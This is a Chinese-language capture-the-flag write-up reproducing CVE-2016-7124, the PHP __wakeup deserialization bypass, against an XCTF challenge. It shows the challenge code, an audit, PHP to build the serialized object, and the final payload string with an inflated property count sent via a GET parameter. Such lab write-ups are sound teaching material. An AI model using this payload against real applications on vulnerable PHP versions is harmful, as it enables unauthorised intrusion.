3.level3-[本地复现]-[CVE-2016-7124]-爱代码爱编程
我认为,无论是学习安全还是从事安全的人,多多少少都会有些许的情怀和使命感!!!
PHP反序列化漏洞
level3-[本地复现]-[CVE-2016-7124]
1.题目描述
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
} ?code=
2.代码审计
通读代码:
class xctf{ // 定义一个以xctf为名的类
public $flag = '111'; // 定义一个以flag为名的公有属性
public function __wakeup(){ // 定义一个公有的魔术方法__wakeup()
exit('bad requests'); // 若当前类的实例化对象被反序列化,则输出bad requests且直接退出脚本
} ?code= // 提示我们传入一个?code的形式传参
分析所得:
- 发现一:代码中有一对半花括号,很明显不完整;且这些代码是通过html的方式输出的,说明这只是后台php页面的核心代码的提示
- 发现二:一旦触发wakeup魔术方法,就会立即输出bad requests且退出脚本,可能是在提示我们需要绕过该魔术方法,也就是使用CVE-2016-7124咯
- 发现三:提示以GET形式传参给code
- 猜测:可能只是在测试如何绕过wakeup魔术方法,绕过了应该就会给出flag
3.解题过程
第一步:分析流程
- 实例化对象
- 序列化对象
- 修改序列化结果中的属性个数大于真实个数
- 以GET形式把序列化结果提交给code
第二步:根据以上步骤构造payload
<?php
class xctf{
public $flag = '111';
}
$chen = new xctf();
echo serialize($chen);
//修改前:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
//修改后:O:4:"xctf":2:{s:4:"flag";s:3:"111";}
第三步:传入payload,读取flag
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
4.总结
CVE-2016-7124的利用(PHP5 < 5.6.25、PHP7 < 7.0.10)